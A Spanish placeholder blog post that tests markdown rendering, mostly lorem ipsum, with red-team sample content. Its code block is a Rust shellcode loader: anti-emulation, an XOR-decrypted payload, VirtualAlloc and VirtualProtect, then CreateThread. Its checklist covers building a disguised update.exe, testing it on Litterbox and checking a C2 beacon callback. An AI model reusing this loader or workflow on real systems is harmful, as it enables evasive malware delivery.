Lorem Ipsum
Este post existe para validar el render del blog con texto de relleno. Si lo ves bien maquetado, todo funciona.
Lorem ipsum dolor sit amet, consectetur adipiscing elit. Sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.
Subtítulo h2
Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.
h3 con código inline
Para invocar el loader se usa builder.sh agent.x64.bin update.exe. El flag --debug genera el build con debug-console activado, que añade 3 imports al IAT.
h4 cuasi-etiqueta
El binario debug NO debe llegar a producción. Verifica el flag antes de subir el .exe a Litterbox.
Listas
- Lorem ipsum dolor sit amet
- Consectetur adipiscing elit
- Sub-item uno
- Sub-item dos
- Sed do eiusmod tempor
Lista ordenada:
- Build
update.exe - Subir a Litterbox
- Validar callback en Adaptix
- Limpiar beacon
Tabla
| Item | Cantidad | Notas |
|---|---|---|
| IAT prod | 16 | medido con objdump -p |
| IAT debug | 19 | añade 3 console imports |
| Entropy | 6.2 | ok, padding presente |
Imagen
Lorem ipsum dolor sit amet, consectetur adipiscing elit. Sed ut perspiciatis unde omnis iste natus error sit voluptatem accusantium doloremque laudantium.
Imagen local servida desde posts/<slug>__img/. El build la copia y reescribe la URL automáticamente.
Mermaid
flowchart LR
A[recon] --> B[weaponize]
B --> C[deliver]
C --> D[exploit]
D --> E[install]
E --> F[c2]
F --> G[actions]Code
// run() — loader entry
pub unsafe extern "system" fn WinMain() -> i32 {
burn_emulator();
let len = ENC_SC.len();
let mem = VirtualAlloc(null(), len, 0x3000, 0x04);
ptr::copy_nonoverlapping(ENC_SC.as_ptr(), mem as *mut u8, len);
for i in 0..len { *mem.add(i) ^= SC_KEY; }
let mut old = 0;
VirtualProtect(mem, len, 0x20, &mut old);
let h = CreateThread(null(), 0, mem.cast(), null(), 0, null());
WaitForSingleObject(h, 0xFFFFFFFF);
ExitProcess(0)
}Tareas
- Crear el blog
- Render de MD
- Callouts Obsidian
- Mermaid
- Imágenes locales
- Primer writeup real
Los callouts soportan markdown interno: negrita, cursiva, código, listas, enlaces.
Más lorem
Sed ut perspiciatis unde omnis iste natus error sit voluptatem accusantium doloremque laudantium, totam rem aperiam, eaque ipsa quae ab illo inventore veritatis et quasi architecto beatae vitae dicta sunt explicabo. Nemo enim ipsam voluptatem quia voluptas sit aspernatur aut odit aut fugit.
# Comando para medir el IAT
x86_64-w64-mingw32-objdump -p target/x86_64-pc-windows-gnu/release/update.exe | grep "DLL Name"Fin del post. Sed ut perspiciatis unde omnis iste natus error sit voluptatem.